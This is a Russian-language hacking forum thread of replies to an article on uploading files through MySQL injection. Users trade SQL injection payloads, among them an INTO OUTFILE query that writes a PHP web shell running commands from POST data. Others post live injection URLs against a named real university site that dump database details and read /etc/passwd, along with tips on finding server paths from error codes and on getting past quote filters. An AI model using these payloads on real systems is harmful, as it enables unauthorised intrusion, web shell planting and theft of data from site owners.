Авторские статьи Загрузка файл через mysql inj.

Discussion in 'Статьи' started by guest3297, 27 Feb 2007.

  1. _Sniper_

    _Sniper_ Banned

    Joined:
    21 Jul 2007
    Messages:
    409
    Likes Received:
    147
    Reputations:
    -17
    404 not found /video.rar
    =\
    Перезалейте
     
  2. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    На видио вы ничего особенного не увидете, если не поняли смысл того что написано, то и видио смотреть бессмысленно, имхо
     
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    У меня видео не осталось, спасибо модерам видео ачата что проигнорировали.
     
  4. ccrus

    ccrus New Member

    Joined:
    16 Mar 2006
    Messages:
    6
    Likes Received:
    2
    Reputations:
    0
    так кто знает способ заливки шелла,когда magic_quotes=on ?
     
  5. BiZoNiX

    BiZoNiX New Member

    Joined:
    4 Nov 2007
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    у меня проблема с чтением файла делаю вот так
    PHP:
    DROP TABLE IF EXISTS s;
    CREATE TABLE `s` (`scriptTEXT NOT NULL);
    LOAD DATA LOCAL INFILE "/home/www/db_settings.php" INTO TABLE s;
    SELECT FROM s
    на выводе всё что в файле идет внутри знаков {*} и array("*") пропустилось
     
    1 person likes this.
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Небольшое дополнение к статье
    Бывает что у юзера от которого работает скрипт есть file_priv, но мы не можем узнать локальный путь до сайта, ну или не знаем папки на сайте. Если при возникновении неправильного запроса мы видим полное описание ошибки, то это может помочь нам в загрузке файла на сервер, т.к. мускул при попытке создать файл выводит номера ошибок Unix-подобных систем.
    т.е предположим мы хотим создать файл в каталоге root что нам в 99.99% случаях не получится, тогда MySQL выдаст нам нечто подобное
    Can't create/write to file '/root/xek.txt' (Errcode: 13)
    Ошибка с кодом 13 означает Permission Denied
    При попытке создать уже имеющийся файл:
    Can't create/write to file '/etc/passwd' (Errcode: 17)
    File already exists
    и при попытке создать файл в несуществующей директории:
    Can't create/write to file '/xek/nepoxek/123.txt' (Errcode: 2)
    No such file or directory
    Т.е благодаря простому перебору мы можем найти локальный путь к сайту, хотя это очень геморно и конечно не даёт 100% гарантии его нахождения
    Повторюсь что данные ошибки появляются не всегда =\
     
  7. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    угу, я тоже замечал что то наподобие, я это написал в пояснении к видео по взлому, но видео так и не выложил, т.к. понял что в видео ничего суперпотрясающего нет...

    вот цитата из пояснения:
    С FreeBSD дела обстаят проще...
    вот здесь про это можно прочитать:
    http://forum.antichat.ru/thread55237.html
     
    #27 Scipio, 11 Dec 2007
    Last edited: 11 Dec 2007
  8. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Mysql в шестой ветке всерьез задумались поддержать именитую x-технологий xml и дать нам еще одну возможность для подрузки файла - новая функция под названием LOAD XML.Насчет ограничений обрамления файла ковычками не знаю но на сайте mysql написано что имя файла должно быть заключено в ковычки.

    Файл должен быть примерно в таком виде.Поставим - увидим , что получится ...



    http://dev.mysql.com/doc/refman/6.0/en/load-xml.html​
     
    1 person likes this.
  9. ~Taxa~

    ~Taxa~ New Member

    Joined:
    24 Jan 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    -1
    У меня вопрос, вот пример есть сайт но там стоит фильтр на кавычки. Я могу читать файлы только через SQL HEX такой если я пример зашифрую
    /tmp/shell.php - без ковычик в SQL HEX
    <?php system($_POST['cmd']);?> - SQL HEX и у меня получится так:
    http://site.com/index.php?id=-1+union+select+1,2,тут зашифрованный шелл в SQL HEX,4,5,6+from+user+into+outfile+а тут зашифрованный /tmp/shell.php в SQL HEX (0x746d702f7368656c6c2e706870)/*

    Это команда выполнится? То есть если у меня хватает прав на запись, то разницы нету в в SQL HEX я передаю или нет?
     
    1 person likes this.
  10. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    нету
     
  11. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Уже говорилось на форуме, что в структуре SELECT...INTO OUTFILE наличие from table не является обязательным. Если не изменяет память, то from table требовалось в мускуле третьей версии

    Эта команда не выполнится, если стоит фильтр на кавычки, ибо мускуль после INTO OUTFILE ждет строку, заключенную или в одинарные, или в двойные кавычки. Всякие sql-hex, char() и остальное работать не будет
     
    #31 krypt3r, 31 Jan 2008
    Last edited: 31 Jan 2008
    1 person likes this.
  12. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    Ни одна из ссылок в первом посте на "жертву" не работает. А сам сайт соществует и по сей день, и остался таким же дырявым.)
    Вот пару ссылок, кому интерестно:
    HTML:
    http://research.udmercy.edu/library_information/circulation_services/page.php?id=-32+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3,4/*
    USER:1dsl1bmcn@localhost
    VERSION:5.0.32-Debian_7etch5-log
    DATABASE:research
    HTML:
    http://research.udmercy.edu/library_information/circulation_services/page.php?id=-32+union+select+0,1,table_name,3,4+from+information_schema.tables+limit+17,10/*
    - вывод названий таблиц
    Теперь скрипт фильтрует ковычки, но переводом в char фильтрацию можно обойти.
    Сделать это по прежнему можно на упомянутом в самой статье сайте
    HTML:
    http://research.udmercy.edu/library_information/circulation_services/page.php?id=-32+union+select+0,1,LOAD_FILE(0x2f6574632f706173737764),3,4/*
    - читаем /etc/passwd
     
    #32 .Begemot., 15 Feb 2008
    Last edited: 15 Feb 2008
  13. crazy~driver

    crazy~driver Member

    Joined:
    21 Dec 2008
    Messages:
    97
    Likes Received:
    14
    Reputations:
    4
    помогите тож с скуль иньектом
    проблема что фильтруются
    запрос sportID=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,CHAR(39,60,115,99,114,105,112,116,62,97,108,101,114,116,40,50,49,51,41,32,60,47,115,99,114,105,112,116,62,39),20+from+t_sports+order+by+level+into+outfile+'/tmp/1.txt'/*
    Так как путь указан с кавычками то выпрыгивает ерор:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/tmp/1.txt''/* ORDER BY Level' at line 1 :confused:
    Как обойти фильтрацию?
     
    #33 crazy~driver, 24 Dec 2008
    Last edited: 24 Dec 2008
    1 person likes this.
  14. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Статья хорошая. Плохо, что не написано при каких условиях возможно залить файл: то есть не написано, что надо, чтобы мы могли читать файлы, чтобы не фильтровалась ковычка, чтобы хватило прав на запись ;)
    А так очень хорошо! Молодец!